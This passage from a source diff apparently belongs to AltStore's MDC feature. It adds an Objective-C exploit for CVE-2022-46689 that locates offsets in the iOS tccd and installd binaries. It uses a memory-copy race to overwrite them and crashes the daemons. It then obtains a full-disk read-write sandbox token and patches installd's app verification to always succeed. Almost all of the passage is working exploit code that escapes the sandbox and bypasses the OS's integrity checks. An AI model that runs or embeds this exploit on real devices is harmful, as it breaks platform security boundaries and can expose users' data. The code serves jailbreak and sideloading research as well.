.alert(isPresented: $showSuccessAlert) {
|
||||||
|
Alert(
|
||||||
|
title: Text(L10n.Action.success),
|
||||||
|
message: Text(L10n.Remove3AppLimitView.success)
|
||||||
|
)
|
||||||
|
}
|
||||||
|
.navigationTitle(L10n.Remove3AppLimitView.title)
|
||||||
|
.enableInjection()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
struct Remove3AppLimitView_Previews: PreviewProvider {
|
||||||
|
static var previews: some View {
|
||||||
|
Remove3AppLimitView()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
#endif
|
||||||
8
AltStore/MDC/grant_full_disk_access.h
Normal file
@@ -0,0 +1,8 @@
|
|||||||
|
#ifdef MDC
|
||||||
|
#pragma once
|
||||||
|
@import Foundation;
|
||||||
|
|
||||||
|
/// Uses CVE-2022-46689 to grant the current app read/write access outside the sandbox.
|
||||||
|
void grant_full_disk_access(void (^_Nonnull completion)(NSError* _Nullable));
|
||||||
|
bool patch_installd(void);
|
||||||
|
#endif /* MDC */
|
||||||
612
AltStore/MDC/grant_full_disk_access.m
Normal file
@@ -0,0 +1,612 @@
|
|||||||
|
#ifdef MDC
|
||||||
|
@import Darwin;
|
||||||
|
@import Foundation;
|
||||||
|
@import MachO;
|
||||||
|
|
||||||
|
#import <mach-o/fixup-chains.h>
|
||||||
|
// you'll need helpers.m from Ian Beer's write_no_write and vm_unaligned_copy_switch_race.m from
|
||||||
|
// WDBFontOverwrite
|
||||||
|
// Also, set an NSAppleMusicUsageDescription in Info.plist (can be anything)
|
||||||
|
// Please don't call this code on iOS 14 or below
|
||||||
|
// (This temporarily overwrites tccd, and on iOS 14 and above changes do not revert on reboot)
|
||||||
|
#import "grant_full_disk_access.h"
|
||||||
|
#import "helpers.h"
|
||||||
|
#import "vm_unaligned_copy_switch_race.h"
|
||||||
|
|
||||||
|
typedef NSObject* xpc_object_t;
|
||||||
|
typedef xpc_object_t xpc_connection_t;
|
||||||
|
typedef void (^xpc_handler_t)(xpc_object_t object);
|
||||||
|
xpc_object_t xpc_dictionary_create(const char* const _Nonnull* keys,
|
||||||
|
xpc_object_t _Nullable const* values, size_t count);
|
||||||
|
xpc_connection_t xpc_connection_create_mach_service(const char* name, dispatch_queue_t targetq,
|
||||||
|
uint64_t flags);
|
||||||
|
void xpc_connection_set_event_handler(xpc_connection_t connection, xpc_handler_t handler);
|
||||||
|
void xpc_connection_resume(xpc_connection_t connection);
|
||||||
|
void xpc_connection_send_message_with_reply(xpc_connection_t connection, xpc_object_t message,
|
||||||
|
dispatch_queue_t replyq, xpc_handler_t handler);
|
||||||
|
xpc_object_t xpc_connection_send_message_with_reply_sync(xpc_connection_t connection,
|
||||||
|
xpc_object_t message);
|
||||||
|
xpc_object_t xpc_bool_create(bool value);
|
||||||
|
xpc_object_t xpc_string_create(const char* string);
|
||||||
|
xpc_object_t xpc_null_create(void);
|
||||||
|
const char* xpc_dictionary_get_string(xpc_object_t xdict, const char* key);
|
||||||
|
|
||||||
|
int64_t sandbox_extension_consume(const char* token);
|
||||||
|
|
||||||
|
// MARK: - patchfind
|
||||||
|
|
||||||
|
struct grant_full_disk_access_offsets {
|
||||||
|
uint64_t offset_addr_s_com_apple_tcc_;
|
||||||
|
uint64_t offset_padding_space_for_read_write_string;
|
||||||
|
uint64_t offset_addr_s_kTCCServiceMediaLibrary;
|
||||||
|
uint64_t offset_auth_got__sandbox_init;
|
||||||
|
uint64_t offset_just_return_0;
|
||||||
|
bool is_arm64e;
|
||||||
|
};
|
||||||
|
|
||||||
|
static bool patchfind_sections(void* executable_map,
|
||||||
|
struct segment_command_64** data_const_segment_out,
|
||||||
|
struct symtab_command** symtab_out,
|
||||||
|
struct dysymtab_command** dysymtab_out) {
|
||||||
|
struct mach_header_64* executable_header = executable_map;
|
||||||
|
struct load_command* load_command = executable_map + sizeof(struct mach_header_64);
|
||||||
|
for (int load_command_index = 0; load_command_index < executable_header->ncmds;
|
||||||
|
load_command_index++) {
|
||||||
|
switch (load_command->cmd) {
|
||||||
|
case LC_SEGMENT_64: {
|
||||||
|
struct segment_command_64* segment = (struct segment_command_64*)load_command;
|
||||||
|
if (strcmp(segment->segname, "__DATA_CONST") == 0) {
|
||||||
|
*data_const_segment_out = segment;
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case LC_SYMTAB: {
|
||||||
|
*symtab_out = (struct symtab_command*)load_command;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case LC_DYSYMTAB: {
|
||||||
|
*dysymtab_out = (struct dysymtab_command*)load_command;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
load_command = ((void*)load_command) + load_command->cmdsize;
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
static uint64_t patchfind_get_padding(struct segment_command_64* segment) {
|
||||||
|
struct section_64* section_array = ((void*)segment) + sizeof(struct segment_command_64);
|
||||||
|
struct section_64* last_section = §ion_array[segment->nsects - 1];
|
||||||
|
return last_section->offset + last_section->size;
|
||||||
|
}
|
||||||
|
|
||||||
|
static uint64_t patchfind_pointer_to_string(void* executable_map, size_t executable_length,
|
||||||
|
const char* needle) {
|
||||||
|
void* str_offset = memmem(executable_map, executable_length, needle, strlen(needle) + 1);
|
||||||
|
if (!str_offset) {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
uint64_t str_file_offset = str_offset - executable_map;
|
||||||
|
for (int i = 0; i < executable_length; i += 8) {
|
||||||
|
uint64_t val = *(uint64_t*)(executable_map + i);
|
||||||
|
if ((val & 0xfffffffful) == str_file_offset) {
|
||||||
|
return i;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
static uint64_t patchfind_return_0(void* executable_map, size_t executable_length) {
|
||||||
|
// TCCDSyncAccessAction::sequencer
|
||||||
|
// mov x0, #0
|
||||||
|
// ret
|
||||||
|
static const char needle[] = {0x00, 0x00, 0x80, 0xd2, 0xc0, 0x03, 0x5f, 0xd6};
|
||||||
|
void* offset = memmem(executable_map, executable_length, needle, sizeof(needle));
|
||||||
|
if (!offset) {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
return offset - executable_map;
|
||||||
|
}
|
||||||
|
|
||||||
|
static uint64_t patchfind_got(void* executable_map, size_t executable_length,
|
||||||
|
struct segment_command_64* data_const_segment,
|
||||||
|
struct symtab_command* symtab_command,
|
||||||
|
struct dysymtab_command* dysymtab_command,
|
||||||
|
const char* target_symbol_name) {
|
||||||
|
uint64_t target_symbol_index = 0;
|
||||||
|
for (int sym_index = 0; sym_index < symtab_command->nsyms; sym_index++) {
|
||||||
|
struct nlist_64* sym =
|
||||||
|
((struct nlist_64*)(executable_map + symtab_command->symoff)) + sym_index;
|
||||||
|
const char* sym_name = executable_map + symtab_command->stroff + sym->n_un.n_strx;
|
||||||
|
if (strcmp(sym_name, target_symbol_name)) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
// printf("%d %llx\n", sym_index, (uint64_t)(((void*)sym) - executable_map));
|
||||||
|
target_symbol_index = sym_index;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
struct section_64* section_array =
|
||||||
|
((void*)data_const_segment) + sizeof(struct segment_command_64);
|
||||||
|
struct section_64* first_section = §ion_array[0];
|
||||||
|
if (!(strcmp(first_section->sectname, "__auth_got") == 0 ||
|
||||||
|
strcmp(first_section->sectname, "__got") == 0)) {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
uint32_t* indirect_table = executable_map + dysymtab_command->indirectsymoff;
|
||||||
|
|
||||||
|
for (int i = 0; i < first_section->size; i += 8) {
|
||||||
|
uint64_t val = *(uint64_t*)(executable_map + first_section->offset + i);
|
||||||
|
uint64_t indirect_table_entry = (val & 0xfffful);
|
||||||
|
if (indirect_table[first_section->reserved1 + indirect_table_entry] == target_symbol_index) {
|
||||||
|
return first_section->offset + i;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
static bool patchfind(void* executable_map, size_t executable_length,
|
||||||
|
struct grant_full_disk_access_offsets* offsets) {
|
||||||
|
struct segment_command_64* data_const_segment = nil;
|
||||||
|
struct symtab_command* symtab_command = nil;
|
||||||
|
struct dysymtab_command* dysymtab_command = nil;
|
||||||
|
if (!patchfind_sections(executable_map, &data_const_segment, &symtab_command,
|
||||||
|
&dysymtab_command)) {
|
||||||
|
printf("no sections\n");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
if ((offsets->offset_addr_s_com_apple_tcc_ =
|
||||||
|
patchfind_pointer_to_string(executable_map, executable_length, "com.apple.tcc.")) == 0) {
|
||||||
|
printf("no com.apple.tcc. string\n");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
if ((offsets->offset_padding_space_for_read_write_string =
|
||||||
|
patchfind_get_padding(data_const_segment)) == 0) {
|
||||||
|
printf("no padding\n");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
if ((offsets->offset_addr_s_kTCCServiceMediaLibrary = patchfind_pointer_to_string(
|
||||||
|
executable_map, executable_length, "kTCCServiceMediaLibrary")) == 0) {
|
||||||
|
printf("no kTCCServiceMediaLibrary string\n");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
if ((offsets->offset_auth_got__sandbox_init =
|
||||||
|
patchfind_got(executable_map, executable_length, data_const_segment, symtab_command,
|
||||||
|
dysymtab_command, "_sandbox_init")) == 0) {
|
||||||
|
printf("no sandbox_init\n");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
if ((offsets->offset_just_return_0 = patchfind_return_0(executable_map, executable_length)) ==
|
||||||
|
0) {
|
||||||
|
printf("no just return 0\n");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
struct mach_header_64* executable_header = executable_map;
|
||||||
|
offsets->is_arm64e = (executable_header->cpusubtype & ~CPU_SUBTYPE_MASK) == CPU_SUBTYPE_ARM64E;
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
// MARK: - tccd patching
|
||||||
|
|
||||||
|
static void call_tccd(void (^completion)(NSString* _Nullable extension_token)) {
|
||||||
|
// reimplmentation of TCCAccessRequest, as we need to grab and cache the sandbox token so we can
|
||||||
|
// re-use it until next reboot.
|
||||||
|
// Returns the sandbox token if there is one, or nil if there isn't one.
|
||||||
|
xpc_connection_t connection = xpc_connection_create_mach_service(
|
||||||
|
"com.apple.tccd", dispatch_get_global_queue(QOS_CLASS_USER_INITIATED, 0), 0);
|
||||||
|
xpc_connection_set_event_handler(connection, ^(xpc_object_t object) {
|
||||||
|
NSLog(@"xpc event handler: %@", object);
|
||||||
|
});
|
||||||
|
xpc_connection_resume(connection);
|
||||||
|
const char* keys[] = {
|
||||||
|
"TCCD_MSG_ID", "function", "service", "require_purpose", "preflight",
|
||||||
|
"target_token", "background_session",
|
||||||
|
};
|
||||||
|
xpc_object_t values[] = {
|
||||||
|
xpc_string_create("17087.1"),
|
||||||
|
xpc_string_create("TCCAccessRequest"),
|
||||||
|
xpc_string_create("com.apple.app-sandbox.read-write"),
|
||||||
|
xpc_null_create(),
|
||||||
|
xpc_bool_create(false),
|
||||||
|
xpc_null_create(),
|
||||||
|
xpc_bool_create(false),
|
||||||
|
};
|
||||||
|
xpc_object_t request_message = xpc_dictionary_create(keys, values, sizeof(keys) / sizeof(*keys));
|
||||||
|
#if 0
|
||||||
|
xpc_object_t response_message = xpc_connection_send_message_with_reply_sync(connection, request_message);
|
||||||
|
NSLog(@"%@", response_message);
|
||||||
|
|
||||||
|
#endif
|
||||||
|
xpc_connection_send_message_with_reply(
|
||||||
|
connection, request_message, dispatch_get_global_queue(QOS_CLASS_USER_INITIATED, 0),
|
||||||
|
^(xpc_object_t object) {
|
||||||
|
if (!object) {
|
||||||
|
NSLog(@"object is nil???");
|
||||||
|
completion(nil);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
NSLog(@"response: %@", object);
|
||||||
|
if ([object isKindOfClass:NSClassFromString(@"OS_xpc_error")]) {
|
||||||
|
NSLog(@"xpc error?");
|
||||||
|
completion(nil);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
NSLog(@"debug description: %@", [object debugDescription]);
|
||||||
|
const char* extension_string = xpc_dictionary_get_string(object, "extension");
|
||||||
|
NSString* extension_nsstring =
|
||||||
|
extension_string ? [NSString stringWithUTF8String:extension_string] : nil;
|
||||||
|
completion(extension_nsstring);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
static NSData* patchTCCD(void* executableMap, size_t executableLength) {
|
||||||
|
struct grant_full_disk_access_offsets offsets = {};
|
||||||
|
if (!patchfind(executableMap, executableLength, &offsets)) {
|
||||||
|
return nil;
|
||||||
|
}
|
||||||
|
|
||||||
|
NSMutableData* data = [NSMutableData dataWithBytes:executableMap length:executableLength];
|
||||||
|
// strcpy(data.mutableBytes, "com.apple.app-sandbox.read-write", sizeOfStr);
|
||||||
|
char* mutableBytes = data.mutableBytes;
|
||||||
|
{
|
||||||
|
// rewrite com.apple.tcc. into blank string
|
||||||
|
*(uint64_t*)(mutableBytes + offsets.offset_addr_s_com_apple_tcc_ + 8) = 0;
|
||||||
|
}
|
||||||
|
{
|
||||||
|
// make offset_addr_s_kTCCServiceMediaLibrary point to "com.apple.app-sandbox.read-write"
|
||||||
|
// we need to stick this somewhere; just put it in the padding between
|
||||||
|
// the end of __objc_arrayobj and the end of __DATA_CONST
|
||||||
|
strcpy((char*)(data.mutableBytes + offsets.offset_padding_space_for_read_write_string),
|
||||||
|
"com.apple.app-sandbox.read-write");
|
||||||
|
struct dyld_chained_ptr_arm64e_rebase targetRebase =
|
||||||
|
*(struct dyld_chained_ptr_arm64e_rebase*)(mutableBytes +
|
||||||
|
offsets.offset_addr_s_kTCCServiceMediaLibrary);
|
||||||
|
targetRebase.target = offsets.offset_padding_space_for_read_write_string;
|
||||||
|
*(struct dyld_chained_ptr_arm64e_rebase*)(mutableBytes +
|
||||||
|
offsets.offset_addr_s_kTCCServiceMediaLibrary) =
|
||||||
|
targetRebase;
|
||||||
|
*(uint64_t*)(mutableBytes + offsets.offset_addr_s_kTCCServiceMediaLibrary + 8) =
|
||||||
|
strlen("com.apple.app-sandbox.read-write");
|
||||||
|
}
|
||||||
|
if (offsets.is_arm64e) {
|
||||||
|
// make sandbox_init call return 0;
|
||||||
|
struct dyld_chained_ptr_arm64e_auth_rebase targetRebase = {
|
||||||
|
.auth = 1,
|
||||||
|
.bind = 0,
|
||||||
|
.next = 1,
|
||||||
|
.key = 0, // IA
|
||||||
|
.addrDiv = 1,
|
||||||
|
.diversity = 0,
|
||||||
|
.target = offsets.offset_just_return_0,
|
||||||
|
};
|
||||||
|
*(struct dyld_chained_ptr_arm64e_auth_rebase*)(mutableBytes +
|
||||||
|
offsets.offset_auth_got__sandbox_init) =
|
||||||
|
targetRebase;
|
||||||
|
} else {
|
||||||
|
// make sandbox_init call return 0;
|
||||||
|
struct dyld_chained_ptr_64_rebase targetRebase = {
|
||||||
|
.bind = 0,
|
||||||
|
.next = 2,
|
||||||
|
.target = offsets.offset_just_return_0,
|
||||||
|
};
|
||||||
|
*(struct dyld_chained_ptr_64_rebase*)(mutableBytes + offsets.offset_auth_got__sandbox_init) =
|
||||||
|
targetRebase;
|
||||||
|
}
|
||||||
|
return data;
|
||||||
|
}
|
||||||
|
|
||||||
|
static bool overwrite_file(int fd, NSData* sourceData) {
|
||||||
|
for (int off = 0; off < sourceData.length; off += 0x4000) {
|
||||||
|
bool success = false;
|
||||||
|
for (int i = 0; i < 2; i++) {
|
||||||
|
if (unaligned_copy_switch_race(
|
||||||
|
fd, off, sourceData.bytes + off,
|
||||||
|
off + 0x4000 > sourceData.length ? sourceData.length - off : 0x4000)) {
|
||||||
|
success = true;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (!success) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
static void grant_full_disk_access_impl(void (^completion)(NSString* extension_token,
|
||||||
|
NSError* _Nullable error)) {
|
||||||
|
char* targetPath = "/System/Library/PrivateFrameworks/TCC.framework/Support/tccd";
|
||||||
|
int fd = open(targetPath, O_RDONLY | O_CLOEXEC);
|
||||||
|
if (fd == -1) {
|
||||||
|
// iOS 15.3 and below
|
||||||
|
targetPath = "/System/Library/PrivateFrameworks/TCC.framework/tccd";
|
||||||
|
fd = open(targetPath, O_RDONLY | O_CLOEXEC);
|
||||||
|
}
|
||||||
|
off_t targetLength = lseek(fd, 0, SEEK_END);
|
||||||
|
lseek(fd, 0, SEEK_SET);
|
||||||
|
void* targetMap = mmap(nil, targetLength, PROT_READ, MAP_SHARED, fd, 0);
|
||||||
|
|
||||||
|
NSData* originalData = [NSData dataWithBytes:targetMap length:targetLength];
|
||||||
|
NSData* sourceData = patchTCCD(targetMap, targetLength);
|
||||||
|
if (!sourceData) {
|
||||||
|
completion(nil, [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
|
||||||
|
code:5
|
||||||
|
userInfo:@{NSLocalizedDescriptionKey : @"Can't patchfind."}]);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!overwrite_file(fd, sourceData)) {
|
||||||
|
overwrite_file(fd, originalData);
|
||||||
|
munmap(targetMap, targetLength);
|
||||||
|
completion(
|
||||||
|
nil, [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
|
||||||
|
code:1
|
||||||
|
userInfo:@{
|
||||||
|
NSLocalizedDescriptionKey : @"Can't overwrite file: your device may "
|
||||||
|
@"not be vulnerable to CVE-2022-46689."
|
||||||
|
}]);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
munmap(targetMap, targetLength);
|
||||||
|
|
||||||
|
xpc_crasher("com.apple.tccd");
|
||||||
|
sleep(1);
|
||||||
|
call_tccd(^(NSString* _Nullable extension_token) {
|
||||||
|
overwrite_file(fd, originalData);
|
||||||
|
xpc_crasher("com.apple.tccd");
|
||||||
|
NSError* returnError = nil;
|
||||||
|
if (extension_token == nil) {
|
||||||
|
returnError =
|
||||||
|
[NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
|
||||||
|
code:2
|
||||||
|
userInfo:@{
|
||||||
|
NSLocalizedDescriptionKey : @"tccd did not return an extension token."
|
||||||
|
}];
|
||||||
|
} else if (![extension_token containsString:@"com.apple.app-sandbox.read-write"]) {
|
||||||
|
returnError = [NSError
|
||||||
|
errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
|
||||||
|
code:3
|
||||||
|
userInfo:@{
|
||||||
|
NSLocalizedDescriptionKey : @"tccd patch failed: returned a media library token "
|
||||||
|
@"instead of an app sandbox token."
|
||||||
|
}];
|
||||||
|
extension_token = nil;
|
||||||
|
}
|
||||||
|
completion(extension_token, returnError);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
void grant_full_disk_access(void (^completion)(NSError* _Nullable)) {
|
||||||
|
if (!NSClassFromString(@"NSPresentationIntent")) {
|
||||||
|
// class introduced in iOS 15.0.
|
||||||
|
// TODO(zhuowei): maybe check the actual OS version instead?
|
||||||
|
completion([NSError
|
||||||
|
errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
|
||||||
|
code:6
|
||||||
|
userInfo:@{
|
||||||
|
NSLocalizedDescriptionKey :
|
||||||
|
@"Not supported on iOS 14 and below: on iOS 14 the system partition is not "
|
||||||
|
@"reverted after reboot, so running this may permanently corrupt tccd."
|
||||||
|
}]);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
NSURL* documentDirectory = [NSFileManager.defaultManager URLsForDirectory:NSDocumentDirectory
|
||||||
|
inDomains:NSUserDomainMask][0];
|
||||||
|
NSURL* sourceURL =
|
||||||
|
[documentDirectory URLByAppendingPathComponent:@"full_disk_access_sandbox_token.txt"];
|
||||||
|
NSError* error = nil;
|
||||||
|
NSString* cachedToken = [NSString stringWithContentsOfURL:sourceURL
|
||||||
|
encoding:NSUTF8StringEncoding
|
||||||
|
error:&error];
|
||||||
|
if (cachedToken) {
|
||||||
|
int64_t handle = sandbox_extension_consume(cachedToken.UTF8String);
|
||||||
|
if (handle > 0) {
|
||||||
|
// cached version worked
|
||||||
|
completion(nil);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
grant_full_disk_access_impl(^(NSString* extension_token, NSError* _Nullable error) {
|
||||||
|
if (error) {
|
||||||
|
completion(error);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
int64_t handle = sandbox_extension_consume(extension_token.UTF8String);
|
||||||
|
if (handle <= 0) {
|
||||||
|
completion([NSError
|
||||||
|
errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
|
||||||
|
code:4
|
||||||
|
userInfo:@{NSLocalizedDescriptionKey : @"Failed to consume generated extension"}]);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
[extension_token writeToURL:sourceURL
|
||||||
|
atomically:true
|
||||||
|
encoding:NSUTF8StringEncoding
|
||||||
|
error:&error];
|
||||||
|
completion(nil);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
/// MARK - installd patch
|
||||||
|
|
||||||
|
struct installd_remove_app_limit_offsets {
|
||||||
|
uint64_t offset_objc_method_list_t_MIInstallableBundle;
|
||||||
|
uint64_t offset_objc_class_rw_t_MIInstallableBundle_baseMethods;
|
||||||
|
uint64_t offset_data_const_end_padding;
|
||||||
|
// MIUninstallRecord::supportsSecureCoding
|
||||||
|
uint64_t offset_return_true;
|
||||||
|
};
|
||||||
|
|
||||||
|
struct installd_remove_app_limit_offsets gAppLimitOffsets = {
|
||||||
|
.offset_objc_method_list_t_MIInstallableBundle = 0x519b0,
|
||||||
|
.offset_objc_class_rw_t_MIInstallableBundle_baseMethods = 0x804e8,
|
||||||
|
.offset_data_const_end_padding = 0x79c38,
|
||||||
|
.offset_return_true = 0x19860,
|
||||||
|
};
|
||||||
|
|
||||||
|
static uint64_t patchfind_find_class_rw_t_baseMethods(void* executable_map,
|
||||||
|
size_t executable_length,
|
||||||
|
const char* needle) {
|
||||||
|
void* str_offset = memmem(executable_map, executable_length, needle, strlen(needle) + 1);
|
||||||
|
if (!str_offset) {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
uint64_t str_file_offset = str_offset - executable_map;
|
||||||
|
for (int i = 0; i < executable_length - 8; i += 8) {
|
||||||
|
uint64_t val = *(uint64_t*)(executable_map + i);
|
||||||
|
if ((val & 0xfffffffful) != str_file_offset) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
// baseMethods
|
||||||
|
if (*(uint64_t*)(executable_map + i + 8) != 0) {
|
||||||
|
return i + 8;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
static uint64_t patchfind_return_true(void* executable_map, size_t executable_length) {
|
||||||
|
// mov w0, #1
|
||||||
|
// ret
|
||||||
|
static const char needle[] = {0x20, 0x00, 0x80, 0x52, 0xc0, 0x03, 0x5f, 0xd6};
|
||||||
|
void* offset = memmem(executable_map, executable_length, needle, sizeof(needle));
|
||||||
|
if (!offset) {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
return offset - executable_map;
|
||||||
|
}
|
||||||
|
|
||||||
|
static bool patchfind_installd(void* executable_map, size_t executable_length,
|
||||||
|
struct installd_remove_app_limit_offsets* offsets) {
|
||||||
|
struct segment_command_64* data_const_segment = nil;
|
||||||
|
struct symtab_command* symtab_command = nil;
|
||||||
|
struct dysymtab_command* dysymtab_command = nil;
|
||||||
|
if (!patchfind_sections(executable_map, &data_const_segment, &symtab_command,
|
||||||
|
&dysymtab_command)) {
|
||||||
|
printf("no sections\n");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
if ((offsets->offset_data_const_end_padding = patchfind_get_padding(data_const_segment)) == 0) {
|
||||||
|
printf("no padding\n");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
if ((offsets->offset_objc_class_rw_t_MIInstallableBundle_baseMethods =
|
||||||
|
patchfind_find_class_rw_t_baseMethods(executable_map, executable_length,
|
||||||
|
"MIInstallableBundle")) == 0) {
|
||||||
|
printf("no MIInstallableBundle class_rw_t\n");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
offsets->offset_objc_method_list_t_MIInstallableBundle =
|
||||||
|
(*(uint64_t*)(executable_map +
|
||||||
|
offsets->offset_objc_class_rw_t_MIInstallableBundle_baseMethods)) &
|
||||||
|
0xffffffull;
|
||||||
|
|
||||||
|
if ((offsets->offset_return_true = patchfind_return_true(executable_map, executable_length)) ==
|
||||||
|
0) {
|
||||||
|
printf("no return true\n");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
struct objc_method {
|
||||||
|
int32_t name;
|
||||||
|
int32_t types;
|
||||||
|
int32_t imp;
|
||||||
|
};
|
||||||
|
|
||||||
|
struct objc_method_list {
|
||||||
|
uint32_t entsizeAndFlags;
|
||||||
|
uint32_t count;
|
||||||
|
struct objc_method methods[];
|
||||||
|
};
|
||||||
|
|
||||||
|
static void patch_copy_objc_method_list(void* mutableBytes, uint64_t old_offset,
|
||||||
|
uint64_t new_offset, uint64_t* out_copied_length,
|
||||||
|
void (^callback)(const char* sel,
|
||||||
|
uint64_t* inout_function_pointer)) {
|
||||||
|
struct objc_method_list* original_list = mutableBytes + old_offset;
|
||||||
|
struct objc_method_list* new_list = mutableBytes + new_offset;
|
||||||
|
*out_copied_length =
|
||||||
|
sizeof(struct objc_method_list) + original_list->count * sizeof(struct objc_method);
|
||||||
|
new_list->entsizeAndFlags = original_list->entsizeAndFlags;
|
||||||
|
new_list->count = original_list->count;
|
||||||
|
for (int method_index = 0; method_index < original_list->count; method_index++) {
|
||||||
|
struct objc_method* method = &original_list->methods[method_index];
|
||||||
|
// Relative pointers
|
||||||
|
uint64_t name_file_offset = ((uint64_t)(&method->name)) - (uint64_t)mutableBytes + method->name;
|
||||||
|
uint64_t types_file_offset =
|
||||||
|
((uint64_t)(&method->types)) - (uint64_t)mutableBytes + method->types;
|
||||||
|
uint64_t imp_file_offset = ((uint64_t)(&method->imp)) - (uint64_t)mutableBytes + method->imp;
|
||||||
|
const char* sel = mutableBytes + (*(uint64_t*)(mutableBytes + name_file_offset) & 0xffffffull);
|
||||||
|
callback(sel, &imp_file_offset);
|
||||||
|
|
||||||
|
struct objc_method* new_method = &new_list->methods[method_index];
|
||||||
|
new_method->name = (int32_t)((int64_t)name_file_offset -
|
||||||
|
(int64_t)((uint64_t)&new_method->name - (uint64_t)mutableBytes));
|
||||||
|
new_method->types = (int32_t)((int64_t)types_file_offset -
|
||||||
|
(int64_t)((uint64_t)&new_method->types - (uint64_t)mutableBytes));
|
||||||
|
new_method->imp = (int32_t)((int64_t)imp_file_offset -
|
||||||
|
(int64_t)((uint64_t)&new_method->imp - (uint64_t)mutableBytes));
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
static NSData* make_patch_installd(void* executableMap, size_t executableLength) {
|
||||||
|
struct installd_remove_app_limit_offsets offsets = {};
|
||||||
|
if (!patchfind_installd(executableMap, executableLength, &offsets)) {
|
||||||
|
return nil;
|
||||||
|
}
|
||||||
|
|
||||||
|
NSMutableData* data = [NSMutableData dataWithBytes:executableMap length:executableLength];
|
||||||
|
char* mutableBytes = data.mutableBytes;
|
||||||
|
uint64_t current_empty_space = offsets.offset_data_const_end_padding;
|
||||||
|
uint64_t copied_size = 0;
|
||||||
|
uint64_t new_method_list_offset = current_empty_space;
|
||||||
|
patch_copy_objc_method_list(mutableBytes, offsets.offset_objc_method_list_t_MIInstallableBundle,
|
||||||
|
current_empty_space, &copied_size,
|
||||||
|
^(const char* sel, uint64_t* inout_address) {
|
||||||
|
if (strcmp(sel, "performVerificationWithError:") != 0) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
*inout_address = offsets.offset_return_true;
|
||||||
|
});
|
||||||
|
current_empty_space += copied_size;
|
||||||
|
((struct
|
||||||
|
dyld_chained_ptr_arm64e_auth_rebase*)(mutableBytes +
|
||||||
|
offsets
|
||||||
|
.offset_objc_class_rw_t_MIInstallableBundle_baseMethods))
|
||||||
|
->target = new_method_list_offset;
|
||||||
|
return data;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool patch_installd() {
|
||||||
|
const char* targetPath = "/usr/libexec/installd";
|
||||||
|
int fd = open(targetPath, O_RDONLY | O_CLOEXEC);
|
||||||
|
off_t targetLength = lseek(fd, 0, SEEK_END);
|
||||||
|
lseek(fd, 0, SEEK_SET);
|
||||||
|
void* targetMap = mmap(nil, targetLength, PROT_READ, MAP_SHARED, fd, 0);
|
||||||
|
|
||||||
|
NSData* originalData = [NSData dataWithBytes:targetMap length:targetLength];
|
||||||
|
NSData* sourceData = make_patch_installd(targetMap, targetLength);
|
||||||
|
if (!sourceData) {
|
||||||
|
NSLog(@"can't patchfind");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!overwrite_file(fd, sourceData)) {
|
||||||
|
overwrite_file(fd, originalData);
|
||||||
|
munmap(targetMap, targetLength);
|
||||||
|
NSLog(@"can't overwrite");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
munmap(targetMap, targetLength);
|
||||||
|
xpc_crasher("com.apple.mobile.installd");
|
||||||
|
sleep(1);
|
||||||
|
|
||||||
|
// TODO(zhuowei): for now we revert it once installd starts
|
||||||
|
// so the change will only last until when this installd exits
|
||||||
|
overwrite_file(fd, originalData);
|
||||||
|
